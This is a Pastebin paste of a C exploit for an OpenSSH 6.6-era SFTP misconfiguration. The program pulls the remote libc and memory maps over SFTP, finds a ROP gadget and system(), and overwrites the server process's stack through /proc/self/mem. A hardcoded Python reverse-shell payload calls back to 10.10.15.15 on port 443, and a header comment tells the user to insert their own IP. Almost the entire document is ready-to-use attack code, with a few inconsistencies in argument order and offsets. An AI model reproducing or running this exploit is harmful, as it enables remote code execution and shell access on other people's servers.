Advertisement
Guest User

Untitled

a guest
Feb 7th, 2018
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.67 KB | None | 0 0
  1. /*
  2.  
  3. and put your ip in the line char shell_commands[]
  4.  
  5.  
  6. OpenSSH <=6.6 SFTP misconfiguration exploit for 64bit Linux
  7.  
  8. Link:
  9. http://seclists.org/fulldisclosure/2014/Oct/35
  10. Build:
  11. gcc sshsploit.c -o sshsploit -std=c99 -lssh
  12. Usage:
  13. ./ssh sploit host port user command
  14. */
  15.  
  16. #define _GNU_SOURCE
  17.  
  18. // THIS PROGRAM IS NOT DESIGNED TO BE SAFE AGAINST VICTIM MACHINES THAT
  19. // TRY TO ATTACK BACK, THE CODE IS SLOPPY!
  20. // (In other words, please don't use this against other people's machines.)
  21.  
  22. #include <libssh/libssh.h>
  23. #include <libssh/sftp.h>
  24. #include <stdlib.h>
  25. #include <stdio.h>
  26. #include <sys/types.h>
  27. #include <sys/stat.h>
  28. #include <fcntl.h>
  29. #include <string.h>
  30. #include <errno.h>
  31.  
  32. #define min(a,b) (((a)<(b))?(a):(b))
  33.  
  34. sftp_session sftp;
  35.  
  36. size_t grab_file(char *rpath, char **out) {
  37. size_t allocated = 4000, used = 0;
  38. *out = calloc(1, allocated+1);
  39. sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);
  40. if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  41. while (1) {
  42. ssize_t nbytes = sftp_read(f, *out+used, allocated-used);
  43. if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  44. if (nbytes == 0) {
  45. (*out)[used] = '\0';
  46. sftp_close(f);
  47. return used;
  48. }
  49. used += nbytes;
  50. if (used == allocated) {
  51. allocated *= 4;
  52. *out = realloc(*out, allocated);
  53. }
  54. }
  55. }
  56.  
  57. void dump_file(char *name, void *buf, size_t len) {
  58. FILE *f = fopen(name, "w+");
  59. if (!f) perror("can't write to local file"), exit(1);
  60. if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1);
  61. if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
  62. }
  63.  
  64. size_t slurp_file(char *path, char **out) {
  65. size_t allocated = 4000, used = 0;
  66. *out = calloc(1, allocated+1);
  67. FILE *f = fopen(path, "r");
  68. if (f == NULL) perror("opening local file failed"), exit(1);
  69. while (1) {
  70. ssize_t nbytes = fread(*out+used, 1, allocated-used, f);
  71. if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1);
  72. if (nbytes == 0) {
  73. (*out)[used] = '\0';
  74. if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
  75. return used;
  76. }
  77. used += nbytes;
  78. if (used == allocated) {
  79. allocated *= 4;
  80. *out = realloc(*out, allocated);
  81. }
  82. }
  83. }
  84.  
  85. int main(int argc, char **argv) {
  86. if (argc != 5) fprintf(stderr, "invocation: ./exploit host port user 'shell commands here'\n"), exit(1);
  87. char *target_host = argv[1];
  88. char *target_user = argv[2];
  89. unsigned short target_port = atoi (argv[3]);
  90. char shell_commands[] = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.15\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' &s";
  91. int verbosity = SSH_LOG_PROTOCOL;
  92.  
  93. ssh_session my_ssh_session;
  94. int rc;
  95. char *password;
  96. // Open session and set options
  97. my_ssh_session = ssh_new();
  98. if (my_ssh_session == NULL) exit(-1);
  99. ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);
  100. ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &target_port);
  101. ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);
  102. ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity);
  103.  
  104. // Connect to server
  105. rc = ssh_connect(my_ssh_session);
  106. if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  107.  
  108. // Authenticate ourselves
  109. password = getpass("Password: ");
  110. rc = ssh_userauth_password(my_ssh_session, NULL, password);
  111. if (rc != SSH_AUTH_SUCCESS)
  112. fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  113.  
  114. sftp = sftp_new(my_ssh_session);
  115. if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  116.  
  117. rc = sftp_init(sftp);
  118. if (rc != SSH_OK) {
  119. fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp));
  120. sftp_free(sftp);
  121. return rc;
  122. }
  123.  
  124. char *mappings;
  125. grab_file("/proc/self/maps", &mappings);
  126. //printf("/proc/self/maps dump: \n%s\n\n\n", mappings);
  127.  
  128. printf("got /proc/self/maps. looking for libc...\n");
  129. // 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466 /lib/x86_64-linux-gnu/libc-2.13.so
  130. unsigned int start_addr, end_addr, offset;
  131. char *libc_path = NULL;
  132. unsigned int stack_start_addr = 0, stack_end_addr;
  133. for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) {
  134. if (strstr(p, " r-xp ") && strstr(p, "/libc-")) {
  135. if (libc_path) fprintf(stderr, "warning: two times libc?\n");
  136. printf("mapping line: %s\n", p);
  137. if (sscanf(p, "%x-%x %*4c %x", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1);
  138. libc_path = strdup(strchr(p, '/'));
  139. if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1);
  140. }
  141. if (strstr(p, "[stack]")) {
  142. if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1);
  143. printf("mapping line: %s\n", p);
  144. if (sscanf(p, "%x-%x ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1);
  145. }
  146. }
  147. if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1);
  148. if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1);
  149. printf("remote libc is at %s\n", libc_path);
  150. printf("offset %x from libc is mapped to %x-%x\n", offset, start_addr, end_addr);
  151.  
  152. char *libc;
  153. size_t libc_size = grab_file(libc_path, &libc);
  154. dump_file("libc.so", libc, libc_size);
  155. printf("downloaded libc, size is %zu bytes\n", libc_size);
  156.  
  157. system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr");
  158. char *system_offset_str;
  159. slurp_file("system.addr", &system_offset_str);
  160. unsigned int system_offset;
  161. if (sscanf(system_offset_str, "%x", &system_offset) != 1) perror("scanf failed"), exit(1);
  162. unsigned int remote_system_addr = start_addr+system_offset-offset;
  163. printf("remote system() function is at %x\n", remote_system_addr);
  164.  
  165. printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");
  166. char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2);
  167. if (gadget == NULL) fprintf(stderr, "no gadget found :(\n"), exit(1);
  168. unsigned int gadget_address = start_addr + (gadget-(libc+offset));
  169. unsigned int ret_address = gadget_address+1;
  170. printf("found gadget at %x\n", gadget_address);
  171.  
  172. printf("remote stack is at %x-%x\n", stack_start_addr, stack_end_addr);
  173. printf("doing it the quick-and-dirty way (that means: pray that the target"
  174. "program was compiled with gcc, giving us 16-byte stack alignment)...\n");
  175. unsigned int stack_len = stack_end_addr - stack_start_addr;
  176. if (stack_len > 32000) {
  177. stack_len = 32000;
  178. stack_start_addr = stack_end_addr - stack_len;
  179. }
  180. char *new_stack = malloc(stack_len);
  181.  
  182. // first fill it with our ret slide
  183. for (unsigned int *s = (void*)new_stack; s<(unsigned int*)(new_stack+stack_len); s++) {
  184. *s = ret_address;
  185. }
  186.  
  187. // put some shell commands in the head
  188. strcpy(new_stack, shell_commands);
  189.  
  190. // put the mini-ROP-chain at the end
  191. // [address of pop rdi] [stack head] [address of system]
  192. unsigned int *se = (void*)(new_stack + stack_len);
  193.  
  194. printf("start_addr at %x\n", start_addr);
  195.  
  196. se[-3] = start_addr+0x0003ada0; // system() == remote_system_addr
  197. se[-2] = start_addr+0x0002e9d0; // exit()
  198. se[-1] = stack_start_addr; // start_addr+0x15b9ab == /bin/sh or stack_start_addr == commands;
  199.  
  200. printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n");
  201. sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0);
  202. if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);
  203.  
  204. // first send over the string
  205. rc = sftp_seek(mem, stack_start_addr);
  206. if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1);
  207. ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1);
  208. if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");
  209.  
  210. // now send over the rest right-to-left
  211. for (unsigned int off = stack_len-32000; off >= 0; off -= 32000) {
  212. rc = sftp_seek(mem, stack_start_addr+off);
  213. if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1);
  214. mem_written = sftp_write(mem, new_stack+off, 32000);
  215. if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good :)\n"), exit(0);
  216. }
  217.  
  218. return 0;
  219. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement